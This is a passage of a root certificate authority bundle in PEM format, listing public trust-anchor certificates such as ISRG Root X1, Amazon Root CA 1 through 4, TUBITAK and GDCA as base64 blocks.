MTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDC+Kk/G4n8PDwEXT2QNrCROnk8Zlrv
bTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+eh
iGsxr/CL0BgzuNtFajT0AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+
6PAQZe104S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06CojXd
FPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV9Cz82XBST3i4vTwr
i5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrDgfgXy5I2XdGj2HUb4Ysn6npIQf1F
GQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2
fu/Z8VFRfS0myGlZYeCsargqNhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9mu
iNX6hME6wGkoLfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVdctA4GGqd83EkVAswDQYJKoZI
hvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0IXtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+
D1hYc2Ryx+hFjtyp8iY/xnmMsVMIM4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrM
d/K4kPFox/la/vot9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+y
d+2VZ5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/eaj8GsGsVn
82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnhX9izjFk0WaSrT2y7Hxjb
davYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQl033DlZdwJVqwjbDG2jJ9SrcR5q+ss7F
Jej6A7na+RZukYT1HCjI/CbM1xyQVqdfbzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVt
J94Cj8rDtSvK6evIIVM4pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGa
JI7ZjnHKe7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0vm9q
p/UsQu0yrbYhnr68
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions ECC RootCA 2015
===========================================================
-----BEGIN CERTIFICATE-----
MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0
aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
aCBJbnN0aXR1dGlvbnMgRUNDIFJvb3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEw
MzcxMlowgaoxCzAJBgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmlj
IEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUQwQgYD
VQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIEVDQyBSb290
Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKgQehLgoRc4vgxEZmGZE4JJS+dQS8KrjVP
dJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJajq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoK
Vlp8aQuqgAkkbH7BRqNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O
BBYEFLQiC4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaeplSTA
GiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7SofTUwJCA3sS61kFyjn
dc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
-----END CERTIFICATE-----

ISRG Root X1
============
-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAwTzELMAkGA1UE
BhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNoIEdyb3VwMRUwEwYDVQQD
EwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQG
EwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMT
DElTUkcgUm9vdCBYMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54r
Vygch77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+0TM8ukj1
3Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6UA5/TR5d8mUgjU+g4rk8K
b4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sWT8KOEUt+zwvo/7V3LvSye0rgTBIlDHCN
Aymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyHB5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ
4Q7e2RCOFvu396j3x+UCB5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf
1b0SHzUvKBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWnOlFu
hjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTnjh8BCNAw1FtxNrQH
usEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbwqHyGO0aoSCqI3Haadr8faqU9GY/r
OPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CIrU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4G
A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY
9umbbjANBgkqhkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ3BebYhtF8GaV
0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KKNFtY2PwByVS5uCbMiogziUwt
hDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJw
TdwJx4nLCgdNbOhdjsnvzqvHu7UrTkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nx
e5AW0wdeRlN8NwdCjNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZA
JzVcoyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq4RgqsahD
YVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPAmRGunUHBcnWEvgJBQl9n
JEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57demyPxgcYxn/eR44/KJ4EBs+lVDR3veyJ
m+kXQ99b21/+jh5Xos1AnX5iItreGCc=
-----END CERTIFICATE-----

AC RAIZ FNMT-RCM
================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsxCzAJBgNVBAYT
AkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTAeFw0wODEw
MjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJD
TTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBALpxgHpMhm5/yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcf
qQgfBBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAzWHFctPVr
btQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxFtBDXaEAUwED653cXeuYL
j2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z374jNUUeAlz+taibmSXaXvMiwzn15Cou
08YfxGyqxRxqAQVKL9LFwag0Jl1mpdICIfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mw
WsXmo8RZZUc1g16p6DULmbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnT
tOmlcYF7wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peSMKGJ
47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2ZSysV4999AeU14EC
ll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMetUqIJ5G+GR4of6ygnXYMgrwTJbFaa
i0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
FPd9xf3E6Jobd2Sn9R2gzL+HYJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1o
dHRwOi8vd3d3LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD
nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1RXxlDPiyN8+s
D8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYMLVN0V2Ue1bLdI4E7pWYjJ2cJ
j+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrT
Qfv6MooqtyuGC2mDOL7Nii4LcK2NJpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW
+YJF1DngoABd15jmfZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7
Ixjp6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp1txyM/1d
8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B9kiABdcPUXmsEKvU7ANm
5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wokRqEIr9baRRmW1FMdW4R58MD3R++Lj8UG
rp1MYp3/RgT408m2ECVAdf4WqslKYIYvuu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
-----END CERTIFICATE-----

Amazon Root CA 1
================
-----BEGIN CERTIFICATE-----
MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1
MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJ4gHHKeNXjca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgH
FzZM9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qwIFAGbHrQ
gLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6VOujw5H5SNz/0egwLX0t
dHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L93FcXmn/6pUCyziKrlA4b9v7LWIbxcce
VOF34GfID5yHI9Y/QCB/IIDEgEw+OyQmjgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3
DQEBCwUAA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDIU5PM
CCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUsN+gDS63pYaACbvXy
8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vvo/ufQJVtMVT8QtPHRh8jrdkPSHCa
2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2
xJNDd2ZhwLnoQdeXeGADbkpyrqXRfboQnoZsG4q5WTP468SQvvG5
-----END CERTIFICATE-----

Amazon Root CA 2
================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAyMB4XDTE1
MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBAK2Wny2cSkxKgXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4
kHbZW0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg1dKmSYXp
N+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K8nu+NQWpEjTj82R0Yiw9
AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvd
fLC6HM783k81ds8P+HgfajZRRidhW+mez/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAEx
kv8LV/SasrlX6avvDXbR8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSS
btqDT6ZjmUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz7Mt0
Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6+XUyo05f7O0oYtlN
c/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI0u1ufm8/0i2BWSlmy5A5lREedCf+
3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSw
DPBMMPQFWAJI/TPlUq9LhONmUjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oA
A7CXDpO8Wqj2LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
+gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kSk5Nrp+gvU5LE
YFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl7uxMMne0nxrpS10gxdr9HIcW
xkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygmbtmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQ
gj9sAq+uEjonljYE1x2igGOpm/HlurR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbW
aQbLU8uz/mtBzUF+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoV
Yh63n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE76KlXIx3
KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H9jVlpNMKVv/1F2Rs76gi
JUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT4PsJYGw=
-----END CERTIFICATE-----

Amazon Root CA 3
================
-----BEGIN CERTIFICATE-----
MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAzMB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZB
f8ANm+gBG1bG8lKlui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjr
Zt6jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSrttvXBp43
rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkrBqWTrBqYaGFy+uGh0Psc
eGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteMYyRIHN8wfdVoOw==
-----END CERTIFICATE-----

Amazon Root CA 4
================
-----BEGIN CERTIFICATE-----
MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSA0MB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN
/sGKe0uoe0ZLY7Bi9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri
83BkM6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV
HQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WBMAoGCCqGSM49BAMDA2gA
MGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlwCkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1
AE47xDqUEpHJWEadIRNyp4iciuRMStuW1KyLa2tJElMzrdfkviT8tQp21KW8EA==
-----END CERTIFICATE-----

TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1
=============================================
-----BEGIN CERTIFICATE-----
MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIxGDAWBgNVBAcT
D0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxpbXNlbCB2ZSBUZWtub2xvamlr
IEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0wKwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24g
TWVya2V6aSAtIEthbXUgU00xNjA0BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRp
ZmlrYXNpIC0gU3VydW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYD
VQQGEwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXllIEJpbGlt
c2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklUQUsxLTArBgNVBAsTJEth
bXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBTTTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11
IFNNIFNTTCBLb2sgU2VydGlmaWthc2kgLSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAr3UwM6q7a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y8
6Ij5iySrLqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INrN3wc
wv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2XYacQuFWQfw4tJzh0
3+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/iSIzL+aFCr2lqBs23tPcLG07xxO9
WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4fAJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQU
ZT/HiobGPN08VFw1+DrtUgxHV8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJ
KoZIhvcNAQELBQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPfIPP54+M638yc
lNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4lzwDGrpDxpa5RXI4s6ehlj2R
e37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0j
q5Rm+K37DwhuJi1/FwcJsoz7UMCflo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
-----END CERTIFICATE-----

GDCA TrustAUTH R5 ROOT
======================
-----BEGIN CERTIFICATE-----
MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCQ04xMjAw
BgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8wHQYDVQQD
DBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVow
YjELMAkGA1UEBhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJjDp6L3TQs
AlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBjTnnEt1u9ol2x8kECK62p
OqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+uKU49tm7srsHwJ5uu4/Ts765/94Y9cnrr
pftZTqfrlYwiOXnhLQiPzLyRuEH3FMEjqcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ
9Cy5WmYqsBebnh52nUpmMUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQ
xXABZG12ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloPzgsM
R6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3GkL30SgLdTMEZeS1SZ
D2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeCjGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4
oR24qoAATILnsn8JuLwwoC8N9VKejveSswoAHQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx
9hoh49pwBiFYFIeFd3mqgnkCAwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlR
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZmDRd9FBUb1Ov9
H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5COmSdI31R9KrO9b7eGZONn35
6ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ryL3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd
+PwyvzeG5LuOmCd+uh8W4XAR8gPfJWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQ
HtZa37dG/OaG+svgIHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBD
F8Io2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV09tL7ECQ
8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQXR4EzzffHqhmsYzmIGrv
/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrqT8p+ck0LcIymSLumoRT2+1hEmRSuqguT
aaApJUqlyyvdimYHFngVV3Eb7PVHhPOeMTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
-----END CERTIFICATE-----

SSL.com Root Certification Authority RSA
========================================
-----BEGIN CERTIFICATE-----
MIIF3TCCA8WgAwIBAgIIeyyb0xaAMpkwDQYJKoZIhvcNAQELBQAwfDELMAkGA1UEBhMCVVMxDjAM
BgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24x
MTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBSU0EwHhcNMTYw
MjEyMTczOTM5WhcNNDEwMjEyMTczOTM5WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx
EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NM
LmNvbSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFJTQTCCAiIwDQYJKoZIhvcNAQEBBQAD
ggIPADCCAgoCggIBAPkP3aMrfcvQKv7sZ4Wm5y4bunfh4/WvpOz6Sl2RxFdHaxh3a3by/ZPkPQ/C
Fp4LZsNWlJ4Xg4XOVu/yFv0AYvUiCVToZRdOQbngT0aXqhvIuG5iXmmxX9sqAn78bMrzQdjt0Oj8
P2FI7bADFB0QDksZ4LtO7IZl/zbzXmcCC52GVWH9ejjt/uIZALdvoVBidXQ8oPrIJZK0bnoix/ge
oeOy3ZExqysdBP+lSgQ36YWkMyv94tZVNHwZpEpox7Ko07fKoZOI68GXvIz5HdkihCR0xwQ9aqkp
k8zruFvh/l8lqjRYyMEjVJ0bmBHDOJx+PYZspQ9AhnwC9FwCTyjLrnGfDzrIM/4RJTXq/LrFYD3Z
fBjVsqnTdXgDciLKOsMf7yzlLqn6niy2UUb9rwPW6mBo6oUWNmuF6R7As93EJNyAKoFBbZQ+yODJ
gUEAnl6/f8UImKIYLEJAs/lvOCdLToD0PYFH4Ih86hzOtXVcUS4cK38acijnALXRdMbX5J+tB5O2
UzU1/Dfkw/ZdFr4hc96SCvigY2q8lpJqPvi8ZVWb3vUNiSYE/CUapiVpy8JtynziWV+XrOvvLsi8
